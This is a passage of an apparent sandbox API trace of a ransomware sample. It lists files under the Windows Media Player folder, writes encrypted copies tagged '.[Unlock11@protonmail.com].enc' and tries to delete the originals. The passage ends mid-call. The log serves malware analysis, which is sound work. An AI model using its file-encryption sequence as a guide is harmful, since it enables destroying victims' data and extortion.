ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xcd19d606, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xcd19d606, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0229.972] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc5296d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="en-US", cAlternateFileName="")) returned 1 [0229.972] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc52a386, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="Icons", cAlternateFileName="")) returned 1 [0229.972] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc580db4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6ec21fe, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="Media Renderer", cAlternateFileName="MEDIAR~1")) returned 1 [0229.972] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa43ac3a6, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xab521500, ftLastWriteTime.dwHighDateTime=0x1d29fa1, nFileSizeHigh=0x0, nFileSizeLow=0x28200, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="mpvis.DLL", cAlternateFileName="")) returned 1 [0229.972] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6ec21fe, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc581c81, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6ec21fe, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="Network Sharing", cAlternateFileName="NETWOR~1")) returned 1 [0229.972] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4386148, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x734ad200, ftLastWriteTime.dwHighDateTime=0x1d29fa1, nFileSizeHigh=0x0, nFileSizeLow=0x1b8800, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="setup_wm.exe", cAlternateFileName="")) returned 1 [0229.972] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6ec21fe, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc5826b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6ec21fe, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="Skins", cAlternateFileName="")) returned 1 [0229.973] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabb5f060, ftCreationTime.dwHighDateTime=0x1d4f3d8, ftLastAccessTime.dwLowDateTime=0x97373b80, ftLastAccessTime.dwHighDateTime=0x1d4995b, ftLastWriteTime.dwLowDateTime=0x97373b80, ftLastWriteTime.dwHighDateTime=0x1d4995b, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="stuffed bachelor dome.exe", cAlternateFileName="STUFFE~1.EXE")) returned 1 [0229.973] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6ec21fe, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc5831ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6ec21fe, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="Visualizations", cAlternateFileName="VISUAL~1")) returned 1 [0229.973] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe81e0c00, ftLastWriteTime.dwHighDateTime=0x1d29fa1, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="wmlaunch.exe", cAlternateFileName="")) returned 1 [0229.973] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4339c91, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x49de7600, ftLastWriteTime.dwHighDateTime=0x1d29fa2, nFileSizeHigh=0x0, nFileSizeLow=0x19000, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="wmpconfig.exe", cAlternateFileName="")) returned 1 [0229.973] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4339c91, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x97ef800, ftLastWriteTime.dwHighDateTime=0x1d29fa2, nFileSizeHigh=0x0, nFileSizeLow=0x28c00, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="wmplayer.exe", cAlternateFileName="")) returned 1 [0229.973] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4386148, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xc0c73f00, ftLastWriteTime.dwHighDateTime=0x1d29fa1, nFileSizeHigh=0x0, nFileSizeLow=0x18600, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="WMPMediaSharing.dll", cAlternateFileName="")) returned 1 [0229.973] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4386148, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x3c74bc00, ftLastWriteTime.dwHighDateTime=0x1d29fa1, nFileSizeHigh=0x0, nFileSizeLow=0x6a800, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="wmpnssci.dll", cAlternateFileName="")) returned 1 [0229.974] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa43ac3a6, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x1a2f6e00, ftLastWriteTime.dwHighDateTime=0x1d29fa2, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="WMPNSSUI.dll", cAlternateFileName="")) returned 1 [0229.974] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x30d5c500, ftLastWriteTime.dwHighDateTime=0x1d29fa2, nFileSizeHigh=0x0, nFileSizeLow=0x10e00, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="wmprph.exe", cAlternateFileName="")) returned 1 [0229.974] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa435feea, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x49de7600, ftLastWriteTime.dwHighDateTime=0x1d29fa2, nFileSizeHigh=0x0, nFileSizeLow=0x19800, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="wmpshare.exe", cAlternateFileName="")) returned 1 [0229.974] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa435feea, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x49de7600, ftLastWriteTime.dwHighDateTime=0x1d29fa2, nFileSizeHigh=0x0, nFileSizeLow=0x19800, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="wmpshare.exe", cAlternateFileName="")) returned 0 [0229.974] FindClose (in: hFindFile=0x10f7610 | out: hFindFile=0x10f7610) returned 1 [0229.974] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US" (normalized: "c:\\program files (x86)\\windows media player\\en-us")) returned 0x10 [0229.975] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a828 | out: hHeap=0x2ad0000) returned 1 [0229.975] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0229.975] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Icons" (normalized: "c:\\program files (x86)\\windows media player\\icons")) returned 0x10 [0229.975] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7e8 | out: hHeap=0x2ad0000) returned 1 [0229.975] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer" (normalized: "c:\\program files (x86)\\windows media player\\media renderer")) returned 0x10 [0229.975] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887728 | out: hHeap=0x2ad0000) returned 1 [0229.976] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\mpvis.DLL" (normalized: "c:\\program files (x86)\\windows media player\\mpvis.dll")) returned 0x20 [0229.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ab28 | out: hHeap=0x2ad0000) returned 1 [0229.976] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0229.976] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Network Sharing" (normalized: "c:\\program files (x86)\\windows media player\\network sharing")) returned 0x10 [0229.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887338 | out: hHeap=0x2ad0000) returned 1 [0229.976] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe" (normalized: "c:\\program files (x86)\\windows media player\\setup_wm.exe")) returned 0x20 [0229.977] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887608 | out: hHeap=0x2ad0000) returned 1 [0229.977] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Skins" (normalized: "c:\\program files (x86)\\windows media player\\skins")) returned 0x10 [0229.977] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a568 | out: hHeap=0x2ad0000) returned 1 [0229.977] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38812d0, Size=0x20) returned 0x33eacd8 [0229.978] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\stuffed bachelor dome.exe" (normalized: "c:\\program files (x86)\\windows media player\\stuffed bachelor dome.exe")) returned 0x20 [0229.978] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db940 | out: hHeap=0x2ad0000) returned 1 [0229.978] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Visualizations" (normalized: "c:\\program files (x86)\\windows media player\\visualizations")) returned 0x10 [0229.978] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38876e0 | out: hHeap=0x2ad0000) returned 1 [0229.978] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe" (normalized: "c:\\program files (x86)\\windows media player\\wmlaunch.exe")) returned 0x20 [0229.979] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887698 | out: hHeap=0x2ad0000) returned 1 [0229.979] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe" (normalized: "c:\\program files (x86)\\windows media player\\wmpconfig.exe")) returned 0x20 [0229.979] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887530 | out: hHeap=0x2ad0000) returned 1 [0229.979] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38812a0, Size=0x20) returned 0x33eaad0 [0229.980] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe" (normalized: "c:\\program files (x86)\\windows media player\\wmplayer.exe")) returned 0x20 [0229.980] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887380 | out: hHeap=0x2ad0000) returned 1 [0229.980] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\WMPMediaSharing.dll" (normalized: "c:\\program files (x86)\\windows media player\\wmpmediasharing.dll")) returned 0x20 [0229.981] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38875c0 | out: hHeap=0x2ad0000) returned 1 [0229.981] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\wmpnssci.dll" (normalized: "c:\\program files (x86)\\windows media player\\wmpnssci.dll")) returned 0x20 [0229.981] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38874a0 | out: hHeap=0x2ad0000) returned 1 [0229.981] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\WMPNSSUI.dll" (normalized: "c:\\program files (x86)\\windows media player\\wmpnssui.dll")) returned 0x20 [0229.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887728 | out: hHeap=0x2ad0000) returned 1 [0229.982] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33eaad0, Size=0x40) returned 0x3887650 [0229.982] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\wmprph.exe" (normalized: "c:\\program files (x86)\\windows media player\\wmprph.exe")) returned 0x20 [0229.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aa68 | out: hHeap=0x2ad0000) returned 1 [0229.982] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe" (normalized: "c:\\program files (x86)\\windows media player\\wmpshare.exe")) returned 0x20 [0229.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38875c0 | out: hHeap=0x2ad0000) returned 1 [0229.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0229.983] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\mpvis.DLL", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\mpvis.DLL", lpFilePart=0x9bada4*="mpvis.DLL") returned 0x35 [0229.983] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0229.983] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe", lpFilePart=0x9bada4*="setup_wm.exe") returned 0x38 [0229.983] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe" (normalized: "c:\\program files (x86)\\windows media player\\setup_wm.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4386148, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x734ad200, ftLastWriteTime.dwHighDateTime=0x1d29fa1, nFileSizeHigh=0x0, nFileSizeLow=0x1b8800)) returned 1 [0229.983] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367178c | out: pbBuffer=0x367178c) returned 1 [0229.983] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0229.984] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe" (normalized: "c:\\program files (x86)\\windows media player\\setup_wm.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0229.984] GetFileType (hFile=0x334) returned 0x1 [0229.984] GetFileType (hFile=0x334) returned 0x1 [0229.984] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0229.984] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.984] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.984] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.985] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.985] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.009] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.010] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windows media player\\setup_wm.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0230.010] GetFileType (hFile=0x39c) returned 0x1 [0230.010] GetFileType (hFile=0x39c) returned 0x1 [0230.010] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0230.010] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.010] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.010] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.011] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.011] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.011] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.092] CloseHandle (hObject=0x39c) returned 1 [0230.092] CloseHandle (hObject=0x334) returned 1 [0230.093] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe" (normalized: "c:\\program files (x86)\\windows media player\\setup_wm.exe")) returned 0 [0230.093] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\stuffed bachelor dome.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\stuffed bachelor dome.exe", lpFilePart=0x9bada4*="stuffed bachelor dome.exe") returned 0x45 [0230.093] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\stuffed bachelor dome.exe" (normalized: "c:\\program files (x86)\\windows media player\\stuffed bachelor dome.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabb5f060, ftCreationTime.dwHighDateTime=0x1d4f3d8, ftLastAccessTime.dwLowDateTime=0x97373b80, ftLastAccessTime.dwHighDateTime=0x1d4995b, ftLastWriteTime.dwLowDateTime=0x97373b80, ftLastWriteTime.dwHighDateTime=0x1d4995b, nFileSizeHigh=0x0, nFileSizeLow=0x12800)) returned 1 [0230.093] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367128c | out: pbBuffer=0x367128c) returned 1 [0230.094] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\stuffed bachelor dome.exe" (normalized: "c:\\program files (x86)\\windows media player\\stuffed bachelor dome.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0230.094] GetFileType (hFile=0x334) returned 0x1 [0230.094] GetFileType (hFile=0x334) returned 0x1 [0230.094] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0230.095] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.095] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.095] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.095] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.095] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.095] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.095] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\stuffed bachelor dome.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windows media player\\stuffed bachelor dome.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0230.095] GetFileType (hFile=0x39c) returned 0x1 [0230.096] GetFileType (hFile=0x39c) returned 0x1 [0230.096] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0230.096] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.096] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.096] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.096] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.096] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.096] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.100] CloseHandle (hObject=0x39c) returned 1 [0230.100] CloseHandle (hObject=0x334) returned 1 [0230.101] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\stuffed bachelor dome.exe" (normalized: "c:\\program files (x86)\\windows media player\\stuffed bachelor dome.exe")) returned 0 [0230.101] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe", lpFilePart=0x9bada4*="wmlaunch.exe") returned 0x38 [0230.101] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe" (normalized: "c:\\program files (x86)\\windows media player\\wmlaunch.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe81e0c00, ftLastWriteTime.dwHighDateTime=0x1d29fa1, nFileSizeHigh=0x0, nFileSizeLow=0x11600)) returned 1 [0230.102] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367169c | out: pbBuffer=0x367169c) returned 1 [0230.102] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe" (normalized: "c:\\program files (x86)\\windows media player\\wmlaunch.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, 